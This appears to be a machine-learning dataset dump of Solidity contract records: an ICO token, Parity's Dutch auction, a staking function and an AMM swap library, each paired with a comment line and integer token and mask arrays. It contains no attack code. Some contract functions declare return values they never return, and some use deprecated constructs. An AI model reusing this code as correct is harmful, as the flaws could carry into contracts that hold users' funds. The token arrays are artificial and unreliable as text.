} else { return State.afterEnd; } } /* Two possibilies investors can participate in our ico - they can send ether to contract address - from web app or from another dapp, they can call the invest function sending some ether */ function invest() public payable returns (bool) { // invest only when ico is running icoState = getCurrentState(); require(icoState == State.running); require(msg.value >= minInvestment && msg.value <= maxInvestment); uint tokens = msg.value / tokenPrice; // hardCap not reached require(raisedAmount + msg.value <= hardCap); raisedAmount += msg.value; if (funders[msg.sender] == 0) { noOfFunders++; } funders[msg.sender] += msg.value; // add tokens to investor balance from provider's balance balances[msg.sender] += tokens; balances[founder] -= tokens; // subtract tokens from the contract address owner founder or provider depositAddress.transfer(msg.value); // transfer ether to the deposit address emit Invest(msg.sender, msg.value, tokens); return true; } function createRequest(string memory _description, uint _value) public onlyProvider { Request memory newRequest = Request({ description: _description, value: _value, completed: false, noOfVoters: 0 }); requests.push(newRequest); emit CreateRequest(_description, _value); } // function getRequests() public view returns (Request[] memory) { // Request storage thisRequests = requests; // return thisRequests; // } function voteRequest(uint index) public { Request storage thisRequest = requests[index]; require(funders[msg.sender] > 0); require(thisRequest.voters[msg.sender] == false); thisRequest.voters[msg.sender] = true; thisRequest.noOfVoters++; } function withdrawFund(uint index) public onlyProvider { Request storage thisRequest = requests[index]; require(thisRequest.completed == false); require(thisRequest.noOfVoters > noOfFunders / 2); // more than 50% voted provider.transfer(thisRequest.value); // transfer the fund required for the Request to the provider thisRequest.completed = true; emit MakePayment(thisRequest.description, thisRequest.value); } function burn() public returns (bool) { icoState = getCurrentState(); require(icoState == State.afterEnd); balances[founder] = 0; } // allows investor to sell shares buy trasferring their token function transfer(address to, uint value) public override returns (bool) { require(block.timestamp > coinTradeStart); super.transfer(to, value); } // allows transfer of tokens function transferFrom(address _from, address _to, uint _value) public override returns (bool) { require(block.timestamp > coinTradeStart); super.transferFrom(_from, _to, _value); } fallback() external payable { invest(); } receive() external payable { revert(); } }
the no of Cryptos wanted by the founder
uint public supply;
12,691,806
[ 1, 5787, 1158, 434, 22752, 538, 15504, 635, 326, 284, 465, 765, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1071, 14467, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//! The dutch-auction contract. //! //! Copyright 2017 Gavin Wood, Parity Technologies Ltd. //! //! Licensed under the Apache License, Version 2.0 (the "License"); //! you may not use this file except in compliance with the License. //! You may obtain a copy of the License at //! //! http://www.apache.org/licenses/LICENSE-2.0 //! //! Unless required by applicable law or agreed to in writing, software //! distributed under the License is distributed on an "AS IS" BASIS, //! WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //! See the License for the specific language governing permissions and //! limitations under the License. pragma solidity ^0.4.7; /// Stripped down ERC20 standard token interface. contract Token { function transfer(address _to, uint256 _value) returns (bool success); } /// Simple Dutch Auction contract. Price starts high and monotonically decreases /// until all tokens are sold at the current price with currently received /// funds. contract DutchAuction { /// Someone bought in at a particular max-price. event Buyin(address indexed who, uint price, uint spent, uint refund); /// The sale just ended with the current price. event Ended(uint price); /// Finalised the purchase for `who`, who has been given `tokens` tokens and /// refunded `refund` (which is the remainder since only a whole number of /// tokens may be purchased). event Finalised(address indexed who, uint tokens); /// Auction is over. All accounts finalised. event Retired(); /// Simple constructor. function DutchAuction(address _tokenContract, address _treasury, address _admin, uint _beginTime, uint _beginPrice, uint _saleSpeed, uint _tokenCap) { tokenContract = Token(_tokenContract); treasury = _treasury; admin = _admin; beginTime = _beginTime; beginPrice = _beginPrice; saleSpeed = _saleSpeed; tokenCap = _tokenCap; endTime = beginTime + beginPrice / saleSpeed; } /// Buyin function. Throws if the sale is not active. May refund some of the /// funds if they would end the sale. function() payable when_not_halted when_active avoid_dust { uint price = currentPrice(); uint tokens = msg.value / price; uint refund = 0; uint accepted = msg.value; // if we've asked for too many, send back the extra. if (tokens > tokensAvailable()) { refund = (tokens - tokensAvailable()) * price; if (!msg.sender.send(refund)) throw; tokens = tokensAvailable(); accepted -= refund; } // send rest to treasury if (!treasury.send(accepted)) throw; // record the acceptance. participants[msg.sender] += accepted; totalReceived += accepted; uint targetPrice = totalReceived / tokenCap; uint salePriceDrop = beginPrice - targetPrice; uint saleDuration = salePriceDrop / saleSpeed; endTime = beginTime + saleDuration; Buyin(msg.sender, price, accepted, refund); } /// Mint tokens for a particular participant. function finalise(address _who) when_not_halted when_ended only_participants(_who) { // end the auction if we're the first one to finalise. if (endPrice == 0) { endPrice = totalReceived / tokenCap; Ended(endPrice); } // enact the purchase. uint tokens = participants[_who] / endPrice; uint refund = participants[_who] - endPrice * tokens; totalFinalised += participants[_who]; participants[_who] = 0; if (!tokenContract.transfer(_who, tokens)) throw; Finalised(_who, tokens); if (totalFinalised == totalReceived) { Retired(); } } /// Emergency function to pause buy-in and finalisation. function setHalted(bool _halted) only_admin { halted = _halted; } /// Emergency function to drain the contract of any funds. function drain() only_admin { if (!treasury.send(this.balance)) throw; } /// Kill this contract once the sale is finished. function kill() when_all_finalised { suicide(admin); } /// The current price for a single token. If a buyin happens now, this is /// the highest price per token that the buyer will pay. function currentPrice() constant returns (uint weiPerToken) { if (!isActive()) return 0; return beginPrice - (now - beginTime) * saleSpeed; } /// Returns the tokens available for purchase right now. function tokensAvailable() constant returns (uint tokens) { if (!isActive()) return 0; return tokenCap - totalReceived / currentPrice(); } /// The largest purchase than can be made at present. function maxPurchase() constant returns (uint spend) { if (!isActive()) return 0; return tokenCap * currentPrice() - totalReceived; } /// True if the sale is ongoing. function isActive() constant returns (bool) { return now >= beginTime && now < endTime; } /// True if all participants have finalised. function allFinalised() constant returns (bool) { return now >= endTime && totalReceived == totalFinalised; } /// Ensure the sale is ongoing. modifier when_active { if (isActive()) _; else throw; } /// Ensure the sale is ended. modifier when_ended { if (now >= endTime) _; else throw; } /// Ensure we're not halted. modifier when_not_halted { if (!halted) _; else throw; } /// Ensure all participants have finalised. modifier when_all_finalised { if (allFinalised()) _; else throw; } /// Ensure the sender sent a sensible amount of ether. modifier avoid_dust { if (msg.value >= DUST_LIMIT) _; else throw; } /// Ensure `_who` is a participant. modifier only_participants(address _who) { if (participants[_who] != 0) _; else throw; } /// Ensure sender is admin. modifier only_admin { if (msg.sender == admin) _; else throw; } // State: /// The auction participants. mapping (address => uint) public participants; /// Total amount of ether received. uint public totalReceived = 0; /// Total amount of ether which has been finalised. uint public totalFinalised = 0; /// The current end time. Gets updated when new funds are received. uint public endTime; /// The price per token; only valid once the sale has ended and at least one /// participant has finalised. uint public endPrice; /// Must be false for any public function to be called. bool public halted; // Constants after constructor: /// The tokens contract. Token public tokenContract; /// The treasury address; where all the Ether goes. address public treasury; /// The admin address; auction can be paused or halted at any time by this. address public admin; /// The time at which the sale begins. uint public beginTime; /// Price at which the sale begins. uint public beginPrice; /// The speed at which the price reduces, in Wei per second. uint public saleSpeed; /// Maximum amount of tokens to mint. Once totalSale / currentPrice is /// greater than this, the sale ends. uint public tokenCap; // Static constants: /// Anything less than this is considered dust and cannot be used to buy in. uint constant public DUST_LIMIT = 10 finney; }
Total amount of ether received.
uint public totalReceived = 0;
951,149
[ 1, 5269, 3844, 434, 225, 2437, 5079, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 11890, 1071, 2078, 8872, 273, 374, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/44787/0x20654046D0c1865759011d114d86fEF6f1B18D6E/sources/src/SpiralsStaking.sol
@notice Main function for staking with Spirals protocol @dev all pending -> active for this group
function stake() external payable { require(msg.value != 0, "NO_VALUE_STAKED"); lock(msg.value); vote(msg.value); stakeByAccount[msg.sender].add(msg.value); emit VotesCast(msg.sender, validatorGroup, msg.value); }
13,249,871
[ 1, 6376, 445, 364, 384, 6159, 598, 5878, 481, 1031, 1771, 225, 777, 4634, 317, 2695, 364, 333, 1041, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 1435, 3903, 8843, 429, 288, 203, 3639, 2583, 12, 3576, 18, 1132, 480, 374, 16, 315, 3417, 67, 4051, 67, 882, 14607, 2056, 8863, 203, 3639, 2176, 12, 3576, 18, 1132, 1769, 203, 3639, 12501, 12, 3576, 18, 1132, 1769, 203, 3639, 384, 911, 858, 3032, 63, 3576, 18, 15330, 8009, 1289, 12, 3576, 18, 1132, 1769, 203, 3639, 3626, 776, 6366, 9735, 12, 3576, 18, 15330, 16, 4213, 1114, 16, 1234, 18, 1132, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../LPToken.sol"; import "../interfaces/ISwap.sol"; import "../MathUtils.sol"; import "../SwapUtils.sol"; /** * @title MetaSwapUtils library * @notice A library to be used within MetaSwap.sol. Contains functions responsible for custody and AMM functionalities. * * MetaSwap is a modified version of Swap that allows Swap's LP token to be utilized in pooling with other tokens. * As an example, if there is a Swap pool consisting of [DAI, USDC, USDT]. Then a MetaSwap pool can be created * with [sUSD, BaseSwapLPToken] to allow trades between either the LP token or the underlying tokens and sUSD. * * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library MetaSwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; using AmplificationUtils for SwapUtils.Swap; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event TokenSwapUnderlying( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); struct MetaSwap { // Meta-Swap related parameters ISwap baseSwap; uint256 baseVirtualPrice; uint256 baseCacheLastUpdated; IERC20[] baseTokens; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; uint256 xpi; } // Struct storing variables used in calculation in removeLiquidityImbalance function // to avoid stack too deep error struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; LPToken lpToken; uint256 totalSupply; uint256 preciseA; uint256 baseVirtualPrice; uint256[] tokenPrecisionMultipliers; uint256[] newBalances; } struct SwapUnderlyingInfo { uint256 x; uint256 dx; uint256 dy; uint256[] tokenPrecisionMultipliers; uint256[] oldBalances; IERC20[] baseTokens; IERC20 tokenFrom; uint8 metaIndexFrom; IERC20 tokenTo; uint8 metaIndexTo; uint256 baseVirtualPrice; } struct CalculateSwapUnderlyingInfo { uint256 baseVirtualPrice; ISwap baseSwap; uint8 baseLPTokenIndex; uint8 baseTokensLength; uint8 metaIndexTo; uint256 x; uint256 dy; } // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Cache expire time for the stored value of base Swap's virtual price uint256 public constant BASE_CACHE_EXPIRE_TIME = 10 minutes; uint256 public constant BASE_VIRTUAL_PRICE_PRECISION = 10**18; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Return the stored value of base Swap's virtual price. If * value was updated past BASE_CACHE_EXPIRE_TIME, then read it directly * from the base Swap contract. * @param metaSwapStorage MetaSwap struct to read from * @return base Swap's virtual price */ function _getBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal view returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { return metaSwapStorage.baseSwap.getVirtualPrice(); } return metaSwapStorage.baseVirtualPrice; } /** * @notice Calculate how much the user would receive when withdrawing via single token * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @return dy the amount of token user will receive */ function calculateWithdrawOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 dy) { (dy, ) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _getBaseVirtualPrice(metaSwapStorage), self.lpToken.totalSupply() ); } function _calculateWithdrawOneToken( SwapUtils.Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 dySwapFee; { uint256 currentY; uint256 newY; // Calculate how much to withdraw (dy, newY, currentY) = _calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, baseVirtualPrice, totalSupply ); // Calculate the associated swap fee dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); } return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @param baseVirtualPrice the virtual price of the base swap's LP token * @return the dy excluding swap fee, the new y after withdrawing one token, and current y */ function _calculateWithdrawOneTokenDY( SwapUtils.Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self, baseVirtualPrice); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo( 0, 0, 0, 0, self._getAPrecise(), 0 ); v.d0 = SwapUtils.getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = SwapUtils.getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = SwapUtils._feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { v.xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = v.xpi.sub( ( (i == tokenIndex) ? v.xpi.mul(v.d1).div(v.d0).sub(v.newY) : v.xpi.sub(v.xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( SwapUtils.getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); if (tokenIndex == xp.length.sub(1)) { dy = dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(baseVirtualPrice); } dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. The last element will also get scaled up by * the given baseVirtualPrice. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @param baseVirtualPrice the base virtual price to scale the balance of the * base Swap's LP token. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers, uint256 baseVirtualPrice ) internal pure returns (uint256[] memory) { uint256[] memory xp = SwapUtils._xp(balances, precisionMultipliers); uint256 baseLPTokenIndex = balances.length.sub(1); xp[baseLPTokenIndex] = xp[baseLPTokenIndex].mul(baseVirtualPrice).div( BASE_VIRTUAL_PRICE_PRECISION ); return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(SwapUtils.Swap storage self, uint256 baseVirtualPrice) internal view returns (uint256[] memory) { return _xp( self.balances, self.tokenPrecisionMultipliers, baseVirtualPrice ); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @return the virtual price, scaled to precision of BASE_VIRTUAL_PRICE_PRECISION */ function getVirtualPrice( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage ) external view returns (uint256) { uint256 d = SwapUtils.getD( _xp( self.balances, self.tokenPrecisionMultipliers, _getBaseVirtualPrice(metaSwapStorage) ), self._getAPrecise() ); uint256 supply = self.lpToken.totalSupply(); if (supply != 0) { return d.mul(BASE_VIRTUAL_PRICE_PRECISION).div(supply); } return 0; } /** * @notice Externally calculates a swap between two tokens. The SwapUtils.Swap storage and * MetaSwap storage should be from the same MetaSwap contract. * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, _getBaseVirtualPrice(metaSwapStorage) ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param baseVirtualPrice the virtual price of the base LP token * @return dy the number of tokens the user will get and dyFee the associated fee */ function _calculateSwap( SwapUtils.Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 baseVirtualPrice ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory xp = _xp(self, baseVirtualPrice); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]).add( xp[tokenIndexFrom] ); uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(self.tokenPrecisionMultipliers[tokenIndexTo]); } /** * @notice Calculates the expected return amount from swapping between * the pooled tokens and the underlying tokens of the base Swap pool. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { CalculateSwapUnderlyingInfo memory v = CalculateSwapUnderlyingInfo( _getBaseVirtualPrice(metaSwapStorage), metaSwapStorage.baseSwap, 0, uint8(metaSwapStorage.baseTokens.length), 0, 0, 0 ); uint256[] memory xp = _xp(self, v.baseVirtualPrice); v.baseLPTokenIndex = uint8(xp.length.sub(1)); { uint8 maxRange = v.baseLPTokenIndex + v.baseTokensLength; require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } if (tokenIndexFrom < v.baseLPTokenIndex) { // tokenFrom is from this pool v.x = xp[tokenIndexFrom].add( dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // tokenFrom is from the base pool tokenIndexFrom = tokenIndexFrom - v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { uint256[] memory baseInputs = new uint256[](v.baseTokensLength); baseInputs[tokenIndexFrom] = dx; v.x = v .baseSwap .calculateTokenAmount(baseInputs, true) .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION) .add(xp[v.baseLPTokenIndex]); } else { // both from and to are from the base pool return v.baseSwap.calculateSwap( tokenIndexFrom, tokenIndexTo - v.baseLPTokenIndex, dx ); } tokenIndexFrom = v.baseLPTokenIndex; } v.metaIndexTo = v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { v.metaIndexTo = tokenIndexTo; } { uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = 